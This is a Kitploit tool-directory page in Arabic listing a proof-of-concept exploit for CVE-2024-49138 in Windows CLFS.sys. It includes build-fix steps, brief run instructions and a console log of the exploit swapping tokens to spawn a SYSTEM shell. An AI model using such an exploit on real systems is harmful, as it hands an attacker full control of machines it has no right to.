Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-49138-POC — إثبات المفهوم لاستغلال CVE-2024-49138 في CLFS.sys، يحقق تصعيد الامتيازات المحلية إلى شل SYSTEM على ويندوز 11 23h2 عبر التلاعب بالرمز. | Kitploit
أدوات/GitHubGitHub/bananoname/cve-2024-49138-poc
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال الملفات الثنائية
GitHubbananoname/cve-2024-49138-poc

CVE-2024-49138-POC

إثبات المفهوم لاستغلال CVE-2024-49138 في CLFS.sys، يحقق تصعيد الامتيازات المحلية إلى شل SYSTEM على ويندوز 11 23h2 عبر التلاعب بالرمز.

عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-49138-POC

إصلاح خطأ Decombine

root@kitploit:~
C:\Program Files\Microsoft Visual Studio\2022\Professional\MSBuild\Microsoft\VC\v170\Microsoft.CppBuild.targets(456,5): error MSB8020: The build tools for Visual Studio 2019 (Platform Toolset = 'v142') cannot be found. To build using the v142 build tools, please install Visual Studio 2019 build tools.  Alternatively, you may upgrade to the current Visual Studio tools by selecting the Project menu or right-click the solution, and then selecting "Retarget solution".

الخيار 1: تثبيت أدوات البناء v142 لـ Visual Studio 2022

1. افتح مثبت Visual Studio:

اذهب إلى قائمة ابدأ وافتح مثبت Visual Studio.

2. تعديل تثبيت Visual Studio الخاص بك:

اختر Visual Studio 2022 وانقر على تعديل (Modify).

3. تثبيت مجموعة الأدوات المطلوبة:

في علامة التبويب المكونات الفردية (Individual Components)، ابحث عن: MSVC v142 - VS 2019 C++ x64/x86 build tools اختره وانقر على تثبيت (Install). 4. أعد بناء المشروع: بعد التثبيت، أعد بناء مشروعك في Visual Studio 2022.

إثبات مفهوم يستغل CVE-2024-49138 في CLFS.sys.

كشفت CrowdStrike عن الثغرة التي يتم استغلالها بنشاط من قبل جهات تهديد.

تم الاختبار على Windows 11 23h2.

سيتم تقديم تحليل شامل في منشور مدونة مفصل.

التجميع والتشغيل

قم بتجميع إصدار x64 Release.

قم بتشغيله واحصل على شل النظام.

root@kitploit:~
PS C:\Users\IEUser\Desktop> whoami
windows11\ieuser
PS C:\Users\IEUser\Desktop> .\CVE-2024-49138-POC.exe
Directory created successfully: C:\temp
Directory created successfully: C:\temp
file opened successfully
AddLogContainer successful
hResource = 0x00007FF7CDB89080
hResource = 0x00007FF7CDB890A0
pResourceData = 0x00007FF7CDB890A0
Resource size: 65536 bytes
Resource written to output.bin successfully.
Kernel Base Address: 0xFFFFF80339800000
Kernel Name: ntoskrnl.exe
NtReadVirtualMemory = 0x00007FFFAF0EFB40
NtWriteVirtualMemory = 0x00007FFFAF0EFAA0
pcclfscontainer = 0x0000000002100000
address_to_write = 0xFFFFC201424CC2B2
Process priority set to REALTIME_PRIORITY_CLASS.
Thread priority set to the highest level: TIME_CRITICAL.
triggering vuln...CreateLogFile failed with error 6601
Process priority set to NORMAL_PRIORITY_CLASS.
Thread priority set to the highest level: THREAD_PRIORITY_NORMAL.
vuln triggered
reading base of ntoskrnl to check we have arbitrary read/write
buf = 0x0000000300905A4D
swapping tokens...
current token address = 0xFFFFC201423EC578
systemtoken = 0xFFFFD401F501C6E9
Overwriting process token..
token swapped. Restoring PreviousMode and spawning system shell...
Microsoft Windows [Version 10.0.22631.2861]
(c) Microsoft Corporation. All rights reserved.

C:\Users\IEUser\Desktop>whoami
nt authority\system

C:\Users\IEUser\Desktop>

systemshell

تنزيل الأداة